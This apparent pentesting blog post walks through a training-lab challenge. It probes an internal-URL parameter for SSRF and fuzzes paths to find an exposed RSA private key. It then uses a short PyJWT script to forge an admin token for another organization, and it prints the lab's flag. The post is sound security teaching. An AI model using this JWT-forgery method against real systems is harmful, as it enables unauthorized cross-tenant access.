b1gb33f_blog

Pentesting and AppSec

View on GitHub
1 February 2026

GalaxyDash-003 Exposed RSA Private Key

by Shawn Szczepkowski

While exploring the lab we notice an interesting request to an internal resource that appears to be checking the status of our order.

POST /api/data HTTP/2
Host: lab-1769897822231-dt88pn.labs-app.bugforge.io
Content-Length: 58
Sec-Ch-Ua-Platform: "Windows"
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NSwidXNlcm5hbWUiOiJ0ZXN0Iiwib3JnYW5pemF0aW9uSWQiOjQsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzY5ODk3ODg4fQ.KLDCd36IeQlvUrDW6YhwuGL7uBNf_nYCZH_xOLWdLO8kbIWuTj3xGvxq4JoUQJsoNN9gsBdTUtIJ28O6TILX0Fq0r9dT1TKvyIwc1-okNbtKlT7gnJWUAj_SYo5ZT9iJMFwbnadymiFfYakC1pC3T8Ac3WXL7sBtFWPSo0kMI-_3ODCmxnhHAxU2P7Z0HNaZBFw8kvY-UhWoa3O2B1Kxyv2G1Ju4lD7DJNH0iIG7q_d5Nq98S0aQtFkmTSd6akfD3TKkECXZbAG8WQOgY0CP0QjEYGOYZ6LjYYOh2NfyJWCh5FbK9fEsk7XWQl6pGto1bzUYb6EUmgLPfVqBWMGk8g
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not(A:Brand";v="8", "Chromium";v="144"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: https://lab-1769897822231-dt88pn.labs-app.bugforge.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://lab-1769897822231-dt88pn.labs-app.bugforge.io/bookings/1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"url":"services.internal-galaxydash-systems.io/shipping"}
HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Sat, 31 Jan 2026 22:23:43 GMT
Etag: W/"f1-H41ea3jnRq4iVvPc5wmFLMwV0fg"
X-Powered-By: Express
Content-Length: 241

{
	"service":"Galaxy Dash Internal Shipping Tracker",
	"timestamp":"2026-01-31T22:23:43.835Z",
	"status":"Package scanned at origin facility",
	"last_location":"Sector 929",
	"estimated_arrival":"2026-02-01T02:56:51.237Z",
	"tracking_id":"GD-ZUVIC1ADC"
}

In this instance we should always check for SSRF. I tried to get the server to hit Collaborator but no luck. The second thing I do before exploring other possible internal resources is see what is available right in front of me. We see that the service is calling /shipping so let’s fuzz that for other possibilities.

Using common.txt I get a hit on /auth but we get back an interesting error message:

HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Sat, 31 Jan 2026 22:35:57 GMT
Etag: W/"1b-Ul0GFKG2lm+5KzbRUtCCFvqWOFg"
X-Galaxy-Flag: bug{MM66SKpMbeZ85b0oeB4CPl1LoLiCGbPS}
X-Powered-By: Express
Content-Length: 27

{
	"error":"Nothing defined"
}

Let’s fuzz that with the same word list and see if we get any more clues.

We do in fact get a hit on /auth/private: PrivateKey

If we look at the Header of our JWT we will notice the token is signed with RS256 so let’s go ahead and create our own JWT with rights to another organization using python you’ll need pip install PyJWT[crypto]:

import jwt

private_key = """PASTE PRIVATE KEY HERE"""

payload = {
    "id": 1,
    "username": "admin",
    "organizationId": 1,
    "role": "admin",
    "iat": 1769897888
}

token = jwt.encode(payload, private_key, algorithm="RS256")
print(token)

Slap our forged token into the browser local storage and we now have access to Slurm Corp: SlurmCorp

We will find our flag as a response header:

HTTP/2 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Date: Sat, 31 Jan 2026 22:36:19 GMT
Etag: W/"127-GcQLgNk9HA/FrDzloX4S0fNlQsg"
X-Galaxy-Flag: bug{MM66SKpMbeZ85b0oeB4CPl1LoLiCGbPS}
X-Powered-By: Express
Content-Length: 295

{
	"id":1,
	"name":"Slurm Corp",
	"business_type":"Beverage Manufacturing",
	"headquarters_planet":"Wormulon",
	"headquarters_address":"Slurm Factory District 7",
	"contact_email":"contact@slurm.galaxy",
	"contact_phone":"+SLURM-001",
	"tax_id":"SLRM-99999",
	"status":"active",
	"created_at":"2026-01-31 22:17:03"
}
tags: